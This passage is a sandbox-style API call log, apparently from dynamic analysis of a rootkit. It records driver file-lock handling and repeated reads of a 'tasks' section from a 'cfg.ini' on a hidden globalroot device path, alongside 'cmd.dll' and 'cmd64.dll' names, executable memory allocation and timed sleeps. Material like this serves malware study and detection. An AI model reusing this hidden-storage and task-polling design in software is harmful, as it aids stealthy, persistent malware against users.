(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.093] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.093] IdePortDispatch () returned 0x103 [0125.093] KeWaitForMutexObject () returned 0x0 [0125.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.093] KeLeaveCriticalRegion () [0125.093] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.094] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.094] KeEnterCriticalRegion () [0125.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.094] KeLeaveCriticalRegion () [0125.094] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.094] KeEnterCriticalRegion () [0125.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.094] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.094] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.094] KeLeaveCriticalRegion () [0125.094] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.094] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.095] KeEnterCriticalRegion () [0125.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.095] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.095] KeLeaveCriticalRegion () [0125.095] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.095] ReleaseMutex (hMutex=0xf0) returned 1 [0125.095] Sleep (dwMilliseconds=0x927c0) [0125.102] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.107] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.107] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.107] KeEnterCriticalRegion () [0125.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.107] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.107] IdePortDispatch () returned 0x103 [0125.108] KeWaitForMutexObject () returned 0x0 [0125.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.108] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.108] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.108] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.108] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.108] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4640 [0125.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.108] KeLeaveCriticalRegion () [0125.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.108] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.108] KeEnterCriticalRegion () [0125.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.108] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.108] KeLeaveCriticalRegion () [0125.108] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.108] KeEnterCriticalRegion () [0125.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.108] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.108] IdePortDispatch () returned 0x103 [0125.109] KeWaitForMutexObject () returned 0x0 [0125.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.109] KeLeaveCriticalRegion () [0125.109] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.109] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.109] KeEnterCriticalRegion () [0125.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.109] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba5000 [0125.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.109] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.109] IdePortDispatch () returned 0x103 [0125.109] KeWaitForMutexObject () returned 0x0 [0125.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.110] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.110] IdePortDispatch () returned 0x103 [0125.110] KeWaitForMutexObject () returned 0x0 [0125.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.110] KeLeaveCriticalRegion () [0125.110] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.111] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.111] KeEnterCriticalRegion () [0125.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] KeLeaveCriticalRegion () [0125.111] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.111] KeEnterCriticalRegion () [0125.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.111] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf58b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] KeLeaveCriticalRegion () [0125.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.111] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.111] KeEnterCriticalRegion () [0125.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] ExFreePoolWithTag (P=0xfffffa8003bf4640, Tag=0x0) [0125.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] KeLeaveCriticalRegion () [0125.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.111] ReleaseMutex (hMutex=0xf0) returned 1 [0125.111] Sleep (dwMilliseconds=0x927c0) [0125.129] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.129] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.130] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.130] KeEnterCriticalRegion () [0125.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.130] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.130] IdePortDispatch () returned 0x103 [0125.130] KeWaitForMutexObject () returned 0x0 [0125.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.130] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.130] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.130] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.130] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.130] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5ca0 [0125.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.130] KeLeaveCriticalRegion () [0125.130] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.130] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.130] KeEnterCriticalRegion () [0125.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.130] KeLeaveCriticalRegion () [0125.131] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.131] KeEnterCriticalRegion () [0125.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.131] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.131] IdePortDispatch () returned 0x103 [0125.131] KeWaitForMutexObject () returned 0x0 [0125.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.131] KeLeaveCriticalRegion () [0125.131] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.131] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.131] KeEnterCriticalRegion () [0125.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000baa000 [0125.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.131] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.131] IdePortDispatch () returned 0x103 [0125.132] KeWaitForMutexObject () returned 0x0 [0125.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.132] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.132] IdePortDispatch () returned 0x103 [0125.132] KeWaitForMutexObject () returned 0x0 [0125.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.132] KeLeaveCriticalRegion () [0125.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.133] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.133] KeEnterCriticalRegion () [0125.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] KeLeaveCriticalRegion () [0125.133] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.133] KeEnterCriticalRegion () [0125.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.133] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] KeLeaveCriticalRegion () [0125.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.133] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.133] KeEnterCriticalRegion () [0125.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] ExFreePoolWithTag (P=0xfffffa8003bf5ca0, Tag=0x0) [0125.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] KeLeaveCriticalRegion () [0125.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.133] ReleaseMutex (hMutex=0xf0) returned 1 [0125.133] Sleep (dwMilliseconds=0x927c0) [0125.147] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.147] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.147] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.147] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.147] KeEnterCriticalRegion () [0125.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.147] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.147] IdePortDispatch () returned 0x103 [0125.148] KeWaitForMutexObject () returned 0x0 [0125.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.148] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.148] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.148] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.148] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.148] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.148] KeLeaveCriticalRegion () [0125.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.148] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.148] KeEnterCriticalRegion () [0125.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.148] KeLeaveCriticalRegion () [0125.148] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.148] KeEnterCriticalRegion () [0125.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.148] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.148] IdePortDispatch () returned 0x103 [0125.148] KeWaitForMutexObject () returned 0x0 [0125.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.148] KeLeaveCriticalRegion () [0125.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.148] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.149] KeEnterCriticalRegion () [0125.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000baf000 [0125.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.149] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.149] IdePortDispatch () returned 0x103 [0125.149] KeWaitForMutexObject () returned 0x0 [0125.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.150] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.150] IdePortDispatch () returned 0x103 [0125.150] KeWaitForMutexObject () returned 0x0 [0125.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.150] KeLeaveCriticalRegion () [0125.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.150] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.151] KeEnterCriticalRegion () [0125.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] KeLeaveCriticalRegion () [0125.151] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.151] KeEnterCriticalRegion () [0125.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.151] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] KeLeaveCriticalRegion () [0125.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.151] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 